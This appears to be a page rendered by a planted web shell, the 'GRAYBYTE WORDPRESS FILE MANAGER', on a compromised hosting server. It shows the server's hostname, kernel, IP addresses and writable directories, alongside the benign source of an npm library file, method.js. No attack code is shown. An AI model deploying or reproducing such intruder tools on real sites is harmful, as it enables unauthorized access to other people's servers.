✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.86
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib/node_modules/npm/node_modules/genfun/lib//method.js
'use strict'

/*
 * Method
 *
 * Methods are added, conceptually, to Genfuns, not to objects
 * themselves, although the Genfun object does not have any pointers to
 * method objects.
 *
 * The _rank vector is an internal datastructure used during dispatch
 * to figure out whether a method is applicable, and if so, how to
 * order multiple discovered methods.
 *
 * Right now, the score method on Method does not take into account any
 * ordering, and all arguments to a method are ranked equally for the
 * sake of ordering.
 *
 */
const Role = require('./role')
const util = require('./util')

module.exports = Method
function Method (genfun, selector, func) {
  var method = this
  method.genfun = genfun
  method.func = func
  method._rank = []
  method.minimalSelector = 0

  const tmpSelector = selector.length ? selector : [Object.prototype]
  for (var object, i = tmpSelector.length - 1; i >= 0; i--) {
    object = Object.hasOwnProperty.call(tmpSelector, i)
    ? tmpSelector[i]
    : Object.prototype
    object = util.dispatchableObject(object)
    if (
      typeof object === 'function' &&
      !object.isGenfun
    ) {
      object = object.prototype
    }
    if (i > 0 &&
        !method.minimalSelector &&
        util.isObjectProto(object)) {
      continue
    } else {
      method.minimalSelector++
      if (!Object.hasOwnProperty.call(object, Role.roleKeyName)) {
        // Object.defineProperty is JS 1.8.0+
        Object.defineProperty(
          object, Role.roleKeyName, {value: [], enumerable: false})
      }
      // XXX HACK - no method replacement now, so we just shove
      // it in a place where it'll always show up first. This
      // would probably seriously break method combination if we
      // had it.
      object[Role.roleKeyName].unshift(new Role(method, i))
    }
  }
}

Method.setRankHierarchyPosition = (method, index, hierarchyPosition) => {
  method._rank[index] = hierarchyPosition
}

Method.clearRank = method => {
  method._rank = []
}

Method.isFullySpecified = method => {
  for (var i = 0; i < method.minimalSelector; i++) {
    if (!method._rank.hasOwnProperty(i)) {
      return false
    }
  }
  return true
}

Method.score = method => {
  // TODO - this makes all items in the list equal
  return method._rank.reduce((a, b) => a + b, 0)
}


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
1 Jan 1970 12.00 AM
root / root
0
genfun.js
8.397 KB
10 Mar 2021 2.36 PM
root / root
0644
method.js
2.252 KB
10 Mar 2021 2.36 PM
root / root
0644
role.js
0.396 KB
10 Mar 2021 2.36 PM
root / root
0644
util.js
1.032 KB
10 Mar 2021 2.36 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF